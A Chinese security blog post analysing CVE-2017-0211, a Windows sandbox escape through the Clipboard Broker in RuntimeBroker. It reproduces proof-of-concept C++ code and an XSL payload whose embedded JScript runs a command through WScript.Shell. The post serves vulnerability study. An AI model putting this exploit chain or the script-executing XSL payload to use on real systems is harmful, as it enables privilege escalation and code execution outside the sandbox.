datetime: 2017.04.28
随着沙箱技术的普及,现在主流的操作系统及软件都开始支持沙箱,以此来缓解层出不穷的远程代码执行漏洞对系统造成的危害。AppContainer是自Windows 8引入的沙箱技术,最新的UWP应用会强制启用AppContainner沙箱。
因此,Edge浏览器也使用AppContainner作为沙箱来最大限度保护系统安全。并且微软还为Edge浏览器加入了更多的缓解机制来进一步加强沙箱。
传统的沙箱逃逸往往借助内核漏洞等来实现权限提升,而Jame Forshaw发现的CVE-2017-0211则利用Windows Runtime的实现缺陷进行沙箱逃逸,最终实现权限提升。此漏洞的原理和利用过程都比较精妙,本文将对此漏洞的原理和利用方法进行分析。
UWP应用是指使用WinRT API开发的Modern UI风格应用程序,WinRT API是微软自Win8引入的用于应用程序开发的组件集(Windows Runtime Components),它基于COM技术发展而来。在Windows 10上,WinRT组件被注册成Windows Runtime Class。这些运行时类的相关信息被注册在Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsRuntime中。所有的UWP应用都强制位于AppContainner沙箱中(Low Integrity),导致其权限受到限制,当其访问外部资源时都需要通过相应的Broker来进行操作。因此,有许多WinRT组件都位于RuntimeBroker.exe进程(Medium Integrity)中,来实现权限检查和代理操作。CVE-2017-0211便是由于Clipboard Broker的设计缺陷导致的权限提升漏洞。
在Windows系统中,COM接口提供了一种用于在不同的应用程序中交换数据(剪切板操作、拖拽操作)的机制,其核心是数据对象Data Object。数据对象Data Object用来代表任何实现了IDataObject接口的对象,基于需要的数据对象或应用场景,开发者可以在继承自IDataObject接口的Data Object中实现某些方法。
WinRT API扩展自COM,因此其内部也使用IDataObject来操作剪切板,所不同的是UWP进程对剪切板的访问请求会被OLE32通过RPC转发至RuntimeBroker进行处理。同时,为了阻止UWP进程(Low Integrity)篡改其他进程设置的剪切板内容,ClipboardBroker还要对UWP进程的SetData行为进行限制。
基于以上目的,ClipboardBroker被设计成:
• 当UWP进程(数据生产者)通过OleSetClipboard() 设置DataObject时,由ClipboardBroker充当代理将DataObject设置到剪切板中;
• 当UWP进程(数据消费者)通过OleGetClipboard() 请求DataObject时,ClipboardBroker会返回一个封装对象(DataObject Wrapper——CClipDataObject)。并由ClipboardBroker来作为代理从数据源(数据生产者)请求数据。
• 在封装对象CClipDataObject里,对SetData做过滤,阻止AppContainer进程设置其他进程DataObject中的数据,如下图所示
根据ClipboardBroker的实现,它并不返回原始的DataObject给UWP进程(数据消费者),取而代之的是一个封装对象。因此,对原始DataObject(数据生产者)的任何请求都将由高权限的ClipboardBroker代理发起。并且,IDataObject::GetDataHere 的输入参数STGMEDIUM要求由调用者申请,当它是一个Storage对象时,便可以被低权限的UWP进程使用。
再结合UWP进程可以设置自定义的DataObject(通过OleSetClipboard()实现),导致攻击者可以重用这一系列功能最终实现权限提升。James Forshaw提供的POC的调用分析如下表所示(此表仅作为漏洞分析记录,请读者转到漏洞利用分析部分阅读)
在这个场景下,漏洞利用过程将通过OleSetClipboard和OleGetClipboard同时扮演数据生产者和数据消费者,从而重用DataObject的功能。
MyDataObject继承自IDataObject,主要实现了EnumFormatEtc, GetDataHere两个方法。
• EnumFormatEtc用来向数据消费者说明此DataObject支持哪些格式。由于之后要利用GetDataHere获取一个Storage对象,因此此处设置成TYMED_ISTORAGE存储媒介类型。
• GetDataHere方法是漏洞利用的关键代码,主要完成:利用一个RuntimeBroker中的Storage对象实现任意代码执行。详细内容请见下一节。
创建一个MyDataObject实例,使用它作为参数调用OleSetClipboard(_In_ LPDATAOBJECT pDataObj ); 从而将此MyDataObject设置到剪切板中。
这个过程主要涉及以下几个过程:
• Ole32检测到当前进程在AppContainer中后,通过调用RuntimeBroker的CRuntimeBroker::GetClipboardBroker获取一个CClipboardBroker对象指针;并将CClipboardBroker对象指针保存在Tls线程局部存储区中。
通过RPC调用RuntimeBroker中的ole32!CClipboardBroker::SetClipboard,将当前MyDataObject设置到剪切板中。
• RuntimeBroker中的CClipboardBroker::SetClipboard被调用后,首先通过CoImpersonateClient() 模拟数据生产者的身份,打开并清空剪切板,设置关联到剪切板的窗口属性;然后将MyDataObject对象设置到剪切板,并通过RPC回调MyDataObject::EnumFormatEtc获取并设置剪切板格式,通过RPC回调MyDataObject::GetDataHere。最后通过CoRevertToSelf() 结束模拟。(注:由于存在CoImpersonateClient,因此在MyDataObject::GetDataHere的实现中,会通过_set_clipboard来判断OleSetClipboard是否已经完成)
将MyDataObject设置到剪切板后,就可以再次扮演数据消费者重用OleGetClipboard(_Out_ LPDATAOBJECT *ppDataObj ); 从而获取MyDataObject的Wapper,对数据进行“消费“。
RuntimeBroker中的ole32!CClipboardBroker::GetClipboard主要涉及对剪切板数据及格式的获取,对原始MyDataObject进行封装,最终会返回给数据消费者一个MyDataObject的Wapper——CClipDataObject。
此时即可扮演数据消费者,调用IDataObject::GetData。这将导致RuntimeBroker中的ole32!CClipDataObject::GetData被调用,最终CClipDataObject::GetData会通过RPC回调至UWP进程中原始的MyDataObject::GetDataHere。由于GetDataHere的参数FORMATETC已经被指定为TYMED_ISTORAGE类型,因此STGMEDIUM参数将是一个在RuntimeBroker中创建的Storge对象指针。对IStorge的任何方法调用,都将通过RPC回调至RuntimeBroker中执行。
在这里James Forshaw采用了一种非常精妙的利用方法,使用结构化存储对象Storage实现任意代码执行。下面将详细分析整个过程。
• 函数原型
GetDataHere(
/* [annotation][unique][in] */
_In_ FORMATETC *pformatetc,
/* [annotation][out][in] */
_Inout_ STGMEDIUM *pmedium)
• 通过IStorage::CreateStorage利用RuntimeBroker中的Storage里创建一个新的可读可写的命名("TestStorage")存储对象——new_stg。相关代码如下:
IStorage* stg = pmedium->pstg;
IStorage* new_stg;
stg->CreateStorage(L"TestStorage", 2 | 0x1000 | 0x10, 0, 0, &new_stg);
• 实例化一个自定义的FakeClass类
FakeClass类继承自IPersistStream接口,主要重载并实现了以下方法:IPersist::GetClassID, IPersistStream::Save, IPersistStream::GetSizeMax。
其中,IPersist::GetClassID用来指示当前对象是一个XML DOM对象(FakeClass类将伪装成一个XML DOM对象);IPersistStream::Save用于后面通过PropertyBag来持久化FakeClass对象,保存Payload。
注意,这里的Payload是一段XSL(Extensible Stylesheet Language)。相关代码如下:
FakeClass* c = new FakeClass();
virtual HRESULT STDMETHODCALLTYPE GetClassID(
/* [out] */ __RPC__out CLSID *pClassID)
{
*pClassID = CLSID_MsXmlDomDocument6;
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE Save(
/* [unique][in] */ __RPC__in_opt IStream *pStm,
/* [in] */ BOOL fClearDirty)
{
const char* xml = "<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='http://mycompany.com/mynamespace'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad.exe'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>";
Check(pStm->Write(xml, strlen(xml), nullptr));
return S_OK;
}
• 使用FakeClass对象指针来初始化一个_variant_t
因为_variant_t重载了"=",所以variant_t v = c; 将导致使用FakeClass对象来初始化_variant_t:初始化_variant_t.vt为VT_UNKNOWN,_variant_t.punkVal为IPersistStream。相关代码如下:
variant_t v = c;
inline _variant_t& _variant_t::operator=(IUnknown* pSrc)
{
_COM_ASSERT(V_VT(this) != VT_UNKNOWN || pSrc == NULL || V_UNKNOWN(this) != pSrc);
// Clear VARIANT (This will Release() any previous occupant)
//
Clear();
V_VT(this) = VT_UNKNOWN;
V_UNKNOWN(this) = pSrc;
if (V_UNKNOWN(this) != NULL) {
// Need the AddRef() as VariantClear() calls Release()
//
V_UNKNOWN(this)->AddRef();
}
return *this;
}
• 持久化FakeClass(XML DOM对象)到new_stg中
通过new_stg查询IPropertyBag接口,并调用IPropertyBag::Write方法,从而将名为"Hello"的VARIANT属性(FakeClass对象)写入PropertyBag。查阅微软文档发现,调用者可以让PropertyBag保存VARIANT结构外的其他类型的对象。当_variant_t.vt为VT_UNKNOWN时,PropertyBag会查询被保存对象的持久化接口(这里是IPersistStream)。随后调用IPersistMedium::GetClassID获取CLSID,将其保存到存储介质上。最后调用IPersistStream::Save方法(即FakeClass重载的Save),将数据写入PropertyBag。
持久化操作完成后,调用IStorage::Commit提交针对根存储对象(即RuntimeBroker中的Storage)的改变。相关代码如下:
WriteToPropertyBag(new_stg, L"Hello", v);
new_stg->Commit(STGC_DEFAULT));
new_stg->Release();
new_stg = nullptr;
HRESULT WriteToPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
{
IPropertyBag* bag;
HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
if (SUCCEEDED(hr))
{
hr = bag->Write(lpName, &v);
bag->Release();
}
return hr;
}
• 当数据被提交到RuntimeBroker中的Storage后,再次利用IPropertyBag接口,将名为"Hello"的FakeClass对象(XML DOM对象)读取出来。
variant_t v2;
v2.vt = VT_UNKNOWN;
ReadFromPropertyBag(new_stg, L"Hello", v2);
HRESULT ReadFromPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
{
IPropertyBag* bag;
HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
if (SUCCEEDED(hr))
{
hr = bag->Read(lpName, &v, nullptr);
bag->Release();
}
return hr;
}
• 任意代码执行
通过QueryInterface取回IXMLDOMDocument3接口指针。
调用IXMLDOMDocument2::setProperty来设置DOM对象的AllowXsltScript属性,从而开启XSL 转换(Extensible Stylesheet Language Transform, XSLT)时“<msxsl:script>”标签的执行功能。
一切就绪后,调用IXMLDOMNode::transformNode,执行这段XSL转换,最终导致“<msxsl:script>”标签中的JScript被执行。
v2.punkVal->QueryInterface(&doc)
variant_t true_var(true);
doc->setProperty(bstr_t(L"AllowXsltScript"), true_var)
bstr_t result;
doc->transformNode(doc, result.GetAddress());
整个漏洞原因和利用分析完毕后,可以看到此漏洞的关键点在于Clipboard Broker为了保护剪切板数据不被篡改,从而给原始的DataObject进行了封装。而这种封装将导致原始的DataObject永远不会被序列化到数据消费者进程空间内,使得对IDataObject的任何调用,都会由高权限的Clipboard Broker代理进行。因此,当原始的对象中存在敏感操作时,就可能会被攻击者所重用。最终造成权限提升。
对于这个漏洞还需要注意的是,James Forshaw利用一个可控的Storage对象实现了代码执行。整个利用思路值得学习。
https://bugs.chromium.org/p/project-zero/issues/detail?id=1079
小结一下Desktop App和UWP App访问剪切板的方式。
传统的桌面应用程序(Desktop App)可以通过两种方式访问剪切板:1. Win32 API; 2. Data Transfer Interfaces
写剪切板的一般步骤:
1. OpenClipboard()
2. EmptyClipboard()
3. SetClipboardData(CF_TEXT,hClipboardData)
4. CloseClipboard()
读剪切板的一般步骤:
1. OpenClipboard()
2. GetClipboardData(CF_TEXT)
3. CloseClipboard()
https://msdn.microsoft.com/en-us/library/windows/desktop/ff468800(v=vs.85).aspx
https://www.codeproject.com/Articles/2242/Using-the-Clipboard-Part-I-Transferring-Simple-Tex
Data Transfer Interfaces本身是Win32 API的封装,核心是IDataObject,在这个基础上通过剪切板实现了生产者和消费者的数据传输(剪切板数据交互、文件拖拽等功能)。下表列举了不同数据传输场景下需要使用的接口:
写剪切板的一般步骤:
1. Create IDataObject Instance
2. OleSetClipboard() to pass a data-object pointer to OLE to place the IDataObject pointer onto the clipboard.
3. OleFlushClipboard()
读剪切板的一般步骤:
1. OleGetClipboard() to get the data-object pointer
2. (RPC) IDataObject::EnumFormatEtc()
3. (RPC) IDataObject::GetData
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx
对于需要访问剪切板的UWP应用(UWP App/Modern App)来说,对应的WinRT API命名空间是Windows.ApplicationModel.DataTransfer。
写剪切板的一般步骤:
1. 创建一个DataPackage对象
2. 将数据设置到DataPackage 对象中
3. 使用Clipboard:: SetContent(DataPackage content)将DataPackage对象包含的数据设置到剪切板中。
读剪切板的一般步骤:
1. 调用Clipboard::GetContent()返回一个DataPackageView对象
2. 通过DataPackageView的方法读取数据内容
数据又是如何写进剪切板的呢?逆向分析Clipboard:: SetContent的实现,其步骤如下图所示:
1. 调用参数DataPackage的GetView方法,获取一个只读的DataPackageView对象。实际上DataPackageView对象是一个实现了IDataObject的Data Object。
2. 将DataPackageView作为参数,调用OleSetClipboard(DataPackageView),最终RuntimeBroker中的CClipboardBroker会将数据写进剪切板
由上面的过程我们可以得到结论:Windows.ApplicationModel.DataTransfer实际上是Data Transfer Interfaces的封装,内部一样使用IDataObject实现剪切板访问或拖拽功能;